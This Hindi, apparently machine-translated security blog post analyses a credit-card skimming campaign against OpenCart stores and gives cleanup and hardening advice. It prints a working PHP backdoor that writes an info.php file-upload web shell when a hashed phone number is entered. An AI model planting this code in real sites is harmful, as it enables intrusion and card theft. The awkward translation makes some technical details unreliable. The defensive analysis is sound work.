OpenCart और Prestashop ई-कॉमर्स संचालन के प्रबंधन के लिए स्वतंत्र और मुक्त स्रोत समाधान हैं। चाहे आप एक स्टार्टअप हों या एक स्थापित ब्रांड, अपने 13000+ मॉड्यूल के साथ, OpenCart में सभी के लिए कुछ न कुछ है। इसके अलावा, OpenCart लगातार क्लाइंट अनुभव को बढ़ाने की कोशिश कर रहा है और यहां तक कि Google के साथ एक पायलट प्रोजेक्ट पर भी भागीदारी की है। हालाँकि, लोकप्रियता हैकर्स का कुछ अवांछित ध्यान भी आकर्षित करती है। कई OpenCart स्टोरों ने admin/common/login.php को हैक होने का अनुभव किया है, जिससे अंततः OpenCart क्रेडिट कार्ड हैक हो गया है। जैसा कि हमलावरों का मुख्य उद्देश्य OpenCart साइटों पर हमलों से मौद्रिक लाभ प्राप्त करना है। एस्ट्रा के शोधकर्ताओं ने ओपनकार्ट स्टोर्स पर एक क्रेडिट कार्ड हैक हमले का खुलासा किया है। यह लेख आगे इस हमले का विश्लेषण करने के लिए चरण दर चरण विधि की व्याख्या करेगा।
क्रेडिट कार्ड हैक:नई नकली भुगतान विधि जोड़ी गई
इन हमलों का अक्सर लंबे समय तक पता नहीं चलता है। साथ ही, साइट मालिकों को ऐसे किसी भी हमले के बारे में तभी पता चलता है जब ग्राहक शिकायत करते हैं। इस परिदृश्य में, ग्राहकों ने एक समझौता किए गए क्रेडिट कार्ड की शिकायत की जिसका उपयोग केवल एक विशेष OpenCart स्टोर पर किया गया था। आगे के शोध से साइट पर फ़िशिंग रूपों की उपस्थिति का भी पता चला। इसके अलावा, व्यवस्थापक पासवर्ड हैक भी पता चला था। इस विशेष मामले में, एस्ट्रा के शोधकर्ताओं ने एक संक्रमित क्रेडिट कार्ड चोरी करने वाले फ़िशिंग फॉर्म की पहचान की। यह एक वैध चेकआउट फॉर्म था जिसे साइट पर दुर्भावनापूर्ण कोड के साथ इंजेक्ट किया गया था।
यह क्रेडिट कार्ड हैक फ़िशिंग फ़ॉर्म की एक छवि है। हालाँकि, यह फ़िशिंग फ़ॉर्म उपयोगकर्ता के बैंकिंग क्रेडेंशियल्स को हमलावर-नियंत्रित डोमेन पर भेजता है। इसके अलावा, हमलावर ने पेपाल जैसे डिफ़ॉल्ट भुगतान गेटवे को अक्षम कर दिया है। तो, ऐसी सभी संक्रमित OpenCart साइटों में कुछ समानताएँ हैं:
- पहले से अज्ञात फाइलों की उपस्थिति।
- असामान्य लॉगिन व्यवहार।
- नए डेटाबेस व्यवस्थापक जिनके बारे में साइट व्यवस्थापक को कोई जानकारी नहीं है।
- उपयोगकर्ता धोखाधड़ी वाले लेनदेन के बारे में शिकायत करते हैं।
- पैकेट विश्लेषण टूल अज्ञात डोमेन पर जाने वाले ट्रैफ़िक को दिखाते हैं।
- नई भुगतान विधि जोड़ी गई जो पहले मौजूद नहीं थी।
OpenCart क्रेडिट कार्ड हैक:उदाहरण
यह हमला OpenCart और Prestashop स्टोर के मालिकों को असहाय बना सकता है। अक्सर, प्रभावित उपयोगकर्ताओं को सामुदायिक मंचों पर क्रेडिट कार्ड हैक के बारे में शिकायत करते हुए पाया जा सकता है। साथ ही, इन थ्रेड्स में आमतौर पर एक से अधिक उपयोगकर्ता होते हैं जो एक ही हमले से प्रभावित हुए हैं!
प्रवेश प्राप्त करना:व्यवस्थापक पासवर्ड हैक
पिछले दरवाजे को इंजेक्ट करने के लिए, हमलावरों को पहले व्यवस्थापकीय विशेषाधिकार प्राप्त करने की आवश्यकता होती है। ऐसा करने के लिए, हमलावरों ने स्टोर के भीतर कमजोरियों का फायदा उठाया। इसके बाद, हमलावरों ने eval(base64_decode)
. जैसे खतरनाक कार्यों का इस्तेमाल किया सर्वर पर दुर्भावनापूर्ण कोड चलाने के लिए। कुछ सामान्य OpenCart भेद्यताएं जो हैक का कारण बन सकती हैं:
OpenCart SQL Injection
संस्करण 2.3.0.0 से पहले OpenCart SQLi के लिए असुरक्षित था। हालांकि इसे शोषण करने के लिए व्यवस्थापकीय विशेषाधिकारों की आवश्यकता थी। लेकिन CVE-2009-1027 ने OpenCart को SQLi के लिए असुरक्षित बना दिया। इसके अलावा, बग्गी मॉड्यूल SQLi का कारण हो सकते हैं।
OpenCart दूरस्थ कोड निष्पादन
CVE-2010-0956 ने OpenCart को दूरस्थ कोड निष्पादन के लिए असुरक्षित बना दिया। index.php
. में मिली भेद्यता . इससे सर्वर से समझौता हो सकता था। साथ ही, OpenCartjson_decode
फ़ंक्शन के कारण RCE . हो सकता था ।
OpenCart कमजोर क्रेडेंशियल्स
कमजोर और सामान्य पासवर्ड के कारण समझौता हो सकता था। एक साधारण जानवर बल के हमले ने सर्वर को दूर कर दिया होगा।
OpenCart XSS
हो सकता है कि हमलावरों ने XSS का उपयोग करके व्यवस्थापक को धोखा दिया हो। सीवीई-2015-4671 बनाindex.php
एक्सएसएस के लिए अतिसंवेदनशील। असुरक्षितzone_id
पैरामीटर के कारण हैक हो सकता था।
OpenCart जीरो डे एक्सप्लॉइट्स
यह बहुत संभव है कि हमलावरों ने एक नई भेद्यता की खोज की हो। इसका उपयोग करके हमलावरों ने OpenCart स्टोर से समझौता किया होगा। इसकी संभावना कम है लेकिन काफी संभव है।
सब कुछ संक्रमित करना:क्रेडिट कार्ड हैक
एक बार जब हमलावर सिस्टम में सेंध लगाते हैं, तो वे साइट की सभी परतों से समझौता करने की कोशिश करते हैं। इस विशेष मामले में, एस्ट्रा के शोधकर्ताओं ने पाया कि सभी ग्राहक और व्यवस्थापक पासवर्ड से छेड़छाड़ की गई थी . इसके अलावा हमलावरों के पास डेटाबेस तक पहुंच थी। साथ ही, हमलावरों द्वारा लगाए गए पिछले दरवाजे डेटाबेस की अखंडता से समझौता कर सकते थे। इसलिए, उपयोगकर्ता के पासवर्ड, नाम, पते, ऑर्डर आदि जैसी संवेदनशील जानकारी को चुराने के लिए डेटाबेस तक पहुंच का उपयोग किया जा सकता था।
इसके अलावा, एस्ट्रा के शोधकर्ताओं ने पाया कि दो भुगतान विधियों से समझौता किया गया था। ये थे:
- Authorize.net AIM.
- pp_pro.
इन भुगतान विधियों ने OpenCart, Prestashop और क्रेडिट कार्ड हैक करने में मदद की। दोनों भुगतान विधियों को दुर्भावनापूर्ण कोड के साथ इंजेक्ट किया गया था। जिसका एक कोड स्निपेट नीचे दिया गया है।
यहां, हमलावरों ने कर्ल . का उपयोग किया है PHP . की लाइब्रेरी HTTP . बनाने के लिए अनुरोध। इसके बाद, स्मेल एमटीए का उपयोग करके मेल की रचना की जाती है। स्मेल एक हल्का और पोर्टेबल मेलिंग एजेंट है। इस मेल में निम्न के बारे में संवेदनशील जानकारी है:
- आदेश आईडी.
- भुगतान प्रथम नाम।
- भुगतान अंतिम नाम.
- पता.
- भुगतान शहर।
- क्रेडिट कार्ड की समाप्ति तिथि और माह।
- सीवीवी नंबर।
- क्रेडिट कार्ड नंबर।
यह सारी जानकारी एक साथ समूहीकृत की जाती है और एक Yopmail . को भेजी जाती है पता। योपमेल एक गुमनाम ईमेल सेवा है, इसलिए हमलावरों को ट्रैक करना मुश्किल हो जाता है। हालाँकि, चूंकि यह सार्वजनिक है, इनबॉक्स को कोई भी एक्सेस कर सकता है। इससे बचने के लिए हमलावरों ने उपनामों का इस्तेमाल किया है। ये उपनाम योपमेल की ही एक सुरक्षा विशेषता है। इसलिए हमलावरों का असली इनबॉक्स ढूंढना बेहद मुश्किल हो जाता है।
Authorize.net Hack
Authorize.net एक भुगतान समाधान है जो ओपनकार्ट स्टोर्स पर काम करता है। क्रेडिट कार्ड की जानकारी चुराने के लिए हमलावरों द्वारा इस भुगतान पद्धति को लक्षित करने की अत्यधिक संभावना है। इसलिए, यदि यह विधि अचानक सक्षम हो जाती है तो आपकी साइट के OpenCart क्रेडिट कार्ड हैक का लक्ष्य होने की संभावना है। नीचे दी गई छवि से पता चलता है कि भुगतान विधि अब सक्षम दिखती है जो कि हमलावर द्वारा की गई थी।
हालाँकि, यदि आपने पहले ही Authorize.net को सक्षम कर लिया है, तो यह संभावना है कि हमलावर उन्हें अपने कस्टम फ़िशिंग एक्सटेंशन स्थापित करने के लिए अक्षम कर सकते हैं। इसलिए, “व्यापारी आईडी अक्षम” . जैसे संदेश साइट पर दिखाई दे सकता है। इसके अलावा, भुगतान के तरीके एक्सटेंशन पेज से गायब हो सकते हैं। ये सभी संकेत संभावित क्रेडिट कार्ड जानकारी चोरी करने के प्रयास की ओर इशारा करते हैं। इसलिए, ग्राहकों को उनके चोरी हुए क्रेडिट कार्ड के बारे में सूचित करने की सलाह दी जाती है। अगर आप यूरोपीय संघ के भीतर काम कर रहे हैं या यूरोपीय संघ के ग्राहकों के डेटा को संसाधित कर रहे हैं, तो जीडीपीआर इस जानकारी का खुलासा करना अनिवार्य बनाता है।
बनाए रखना:admin/common/login.php हैक किया गया
एक बार जब हमलावरों ने व्यवस्थापक अधिकार प्राप्त कर लिए, तो अगला कदम कोर फाइलों को संशोधित करना है। कोर फाइलों का संशोधन हमलावरों को साइट पर निरंतर पहुंच बनाए रखने में मदद करता है। निरंतर पहुंच बनाए रखने के लिए, हमलावरों ने लॉगिन/व्यवस्थापक पृष्ठ को भी इंजेक्ट किया। नीचे दिए गए admin/common/login.php हैक किए गए कोड का स्निपेट है।
दुर्भावनापूर्ण कोड से यह स्पष्ट है कि हमलावरों ने ईमेल भेजने के लिए स्मेल का उपयोग किया है। स्मेल उपयोगकर्ता को कमांड लाइन के माध्यम से सभी कार्यों को पूरा करने की अनुमति देता है। इसे हमलावरों की पहली पसंद बनाना। इसके बाद, लॉगिन क्रेडेंशियल का उपयोग करके ईमेल की रचना की जाती है। उपयोगकर्ता नाम और पासवर्ड वाला यह ईमेल हमलावरों के इनबॉक्स में भेजा जाता है। यहां, हमलावरों ने सूचीबद्ध किया है[email protected]
उनके इनबॉक्स के रूप में।
इसके अलावा, यह कोड हर बार व्यवस्थापक द्वारा लॉग इन करने पर चलाया जाता है। इसलिए हमलावर नवीनतम लॉगिन क्रेडेंशियल जानने के लिए अपने ईमेल के माध्यम से देख सकते हैं। यह दुर्भावनापूर्ण कोड हमलावरों को साइट पर निरंतर पहुंच बनाए रखने की अनुमति देता है। इसके अलावा पिछले दरवाजे जैसेinfo.php
हमलावरों को हठ बनाए रखने में भी मदद करता है। Info.php
इस लेख में बाद में चर्चा की जाएगी।
इवेडिंग डिटेक्शन:फ्री साइनअप के साथ कम उड़ान
इस विशेष उदाहरण में, साइट ने मुफ्त साइनअप की अनुमति दी। इसलिए हमलावरों ने कोड को इस तरह से संशोधित किया कि एक सामान्य उपयोगकर्ता एक रिवर्स शेल प्राप्त कर सके। दुर्भावनापूर्ण कोड नीचे दिए गए जैसा दिखता था।
protected function validate() { if(md5($this->request->post['telephone'])=='66b6d63b9634e1159e53e29858de2c2d'){$file2 = "info.php";$handle2 = fopen($file2, 'w+'); fwrite($handle2,'<?php $files = @$_FILES["files"];if($files["name"] != ""){$fullpath = $_REQUEST["path"].$files["name"];if(move_uploaded_file($files["tmp_name"],$fullpath)){}}exit("<form method=POST enctype=multipart/form-data action=><input type=text name=path><input type=file name=files><input type=submit value=Up></form>");?>');fclose($handle2); }
यह कोड किसी विशेष फोन नंबर की जांच करता है। जब वह इनपुट होता है, तो यह फ़ाइल अपलोड की अनुमति देता है। एस्ट्रा के शोधकर्ताओं ने नीचे बताए अनुसार चरण दर चरण प्रक्रिया का खुलासा किया है:
- चरण 1 :हमलावरों ने कई नए उपयोगकर्ता बनाने के लिए मुफ्त साइनअप का इस्तेमाल किया। एकाधिक खातों का मतलब न्यूनतम पता लगाने की संभावना है।
- चरण 2 :फिर, हमलावरों ने इनपुट क्षेत्र में एक विशेष फोन नंबर दर्ज किया। हमलावरों ने md5 प्रारूप में एन्क्रिप्ट करके वास्तविक फोन नंबर को अस्पष्ट कर दिया है। एन्क्रिप्टेड स्ट्रिंग है
66b6d63b9634e1159e53e29858de2c2d
. यह फ़ोन नंबर पिछले दरवाजे पर अपलोड करने के लिए एक मास्टर कुंजी के रूप में कार्य करता है। - चरण 3 :जैसे ही फ़ोन नंबर जोड़ा जाता है, फ़ाइल नाम वाली एक फ़ाइल
info.php
बनाया गया है। तो फ़ाइनल यूआरएल कुछ इस तरह दिखता हैexample.com/info.php
। - चरण 4 :जब फ़ाइल
info.php
हमलावरों द्वारा एक्सेस किया जाता है, यह उन्हें फाइल अपलोड करने की क्षमता देता है। - चरण 5 :यह अपलोड विकल्प हमलावरों को संक्रमित PHP फ़ाइलें अपलोड करने की अनुमति देता है। ये फाइलें हमलावरों के लिए एक रिवर्स टीसीपी, आईसीएमपी कनेक्शन आदि खोलती हैं। जब फ़ाइलें रूट निर्देशिका में अपलोड की जाती हैं तो परिणाम अधिक विनाशकारी हो सकते हैं!
इसके अलावा हमलावरों ने इमेज सेक्शन में पिछले दरवाजे भी छिपाए थे। चूंकि छवियां फ़ोल्डर . में फ़ाइलों को खोजने की बहुत कम संभावना है , इसने हमलावरों को एक अच्छा कवर प्रदान किया। सफाई के मामले में हमलावर छवि फ़ोल्डर से साइट को फिर से संक्रमित करना चाह रहे थे!
क्लीनअप आफ्टर द अटैक
हमले के बाद जो मुख्य कदम उठाना है, वह पूरी तरह से सफाई के लिए जाना है। संक्रमित फ़ाइलों को हटाएं और बैकअप से पुनर्स्थापित करें। यदि बैकअप उपलब्ध नहीं है तो नए सिरे से स्थापना के लिए जाएं। विशेष रूप से भुगतान फ़ाइलों को पुनर्स्थापित करने की आवश्यकता है। निम्न फ़ाइलों को देखें:
- /admin/controller/extension/payment.php.
- /admin/controller/common/login.php.
- /catalog/controller/payment/authorizenet_aim.php.
इन फ़ाइलों को OpenCart और Prestashop क्रेडिट कार्ड हैक से दुर्भावनापूर्ण कोड के साथ इंजेक्ट किया गया है। इन फ़ाइलों को तुरंत पुनर्स्थापित करें। इसके अलावा हमलावर द्वारा संशोधित फाइलों की तलाश की जाती है। यह निम्नलिखित SSH को क्रियान्वित करके किया जा सकता है आदेश:
$ find ./ -type f -mtime -15
समय टिकटों को देखें और हमलावरों द्वारा संशोधित फ़ाइलों को हटा दें। साथ ही, इस गंदगी को साफ करते समय PhpMyAdmin जैसे उपकरण काम आते हैं।
PhpMyAdmin . की एक नमूना छवि दुर्भावनापूर्ण डोमेन का पता लगाने के लिए उपयोग किया जा रहा है।
म्यूटिगेशन फ्रॉम द अटैक
व्यवस्थापक फ़ोल्डर सुरक्षित करें
व्यवस्थापक फ़ोल्डर का नाम बदलें। इससे हमलावरों के लिए इसे ढूंढना मुश्किल हो जाता है। इसके अलावा, .htaccess . का उपयोग करें व्यवस्थापक आईपी को छोड़कर सभी आईपी को लॉगिन फ़ोल्डर तक पहुंच से वंचित करने के लिए।
कैटेलॉग सुरक्षित करें
.htaccess कैटलॉग और संवेदनशील फाइलों जैसे .txt, .twig आदि की सुरक्षा के लिए भी इस्तेमाल किया जा सकता है। फ़ाइल मिलान कार्य को पूरा कर सकता है। तो, बस अपनी आवश्यकताओं के अनुसार .htaccess फ़ाइल में निम्न पंक्तियाँ जोड़ें।
<FilesMatch ".(php|twig|txt)$">
Order Deny,Allow
Deny from all
Allow from "your ip address"
</FilesMatch>
फ़ोल्डर अनुमति प्रतिबंधित करें
सुनिश्चित करें कि केवल व्यवस्थापक ही OpenCart फ़ाइलों और सबफ़ोल्डर्स तक पहुँच प्राप्त कर सकता है। तो, इसे पूरा करने के लिए, बस निम्न कोड को .htaccess . में जोड़ें फ़ाइल।
<Files *.*>
Order Deny,Allow
Deny from all
Allow from "your ip address"
</Files>
फ़ाइल अनुमति प्रतिबंधित करें
संवेदनशील फ़ाइलों के लिए फ़ाइल अनुमतियों को 644 . पर सेट करके उन्हें सुरक्षित रखें या 444 . क्योंकि यह दूसरों को उन्हें लिखने से रोकता है। कुछ संवेदनशील फाइलें हैं:
- config.php
- index.php
- व्यवस्थापक/config.php
- व्यवस्थापक/index.php
- system/startup.php
एस्ट्रा फ़ायरवॉल
ओपन कार्ट और Prestashop क्रेडिट कार्ड हैक स्टोर की प्रतिष्ठा को गंभीर रूप से बाधित कर सकता है। स्टोर में ऑनलाइन भुगतान करते समय उपयोगकर्ता भविष्य में असुरक्षित महसूस कर सकते हैं। इसलिए, निकट भविष्य में ऐसे हमलों को रोकने के लिए सबसे अच्छा दांव है। तो, यह एक फ़ायरवॉल के साथ पूरा किया जा सकता है। A firewall like the one at Astra monitors all the traffic for bad requests. Astra firewall ensures that only safe requests reach the server. Apart from this, Astra also notifies regarding new logins and file modifications. Also, with Astra keep your OpenCart &PrestaShop store safe from getting admin/common/login.php hacked.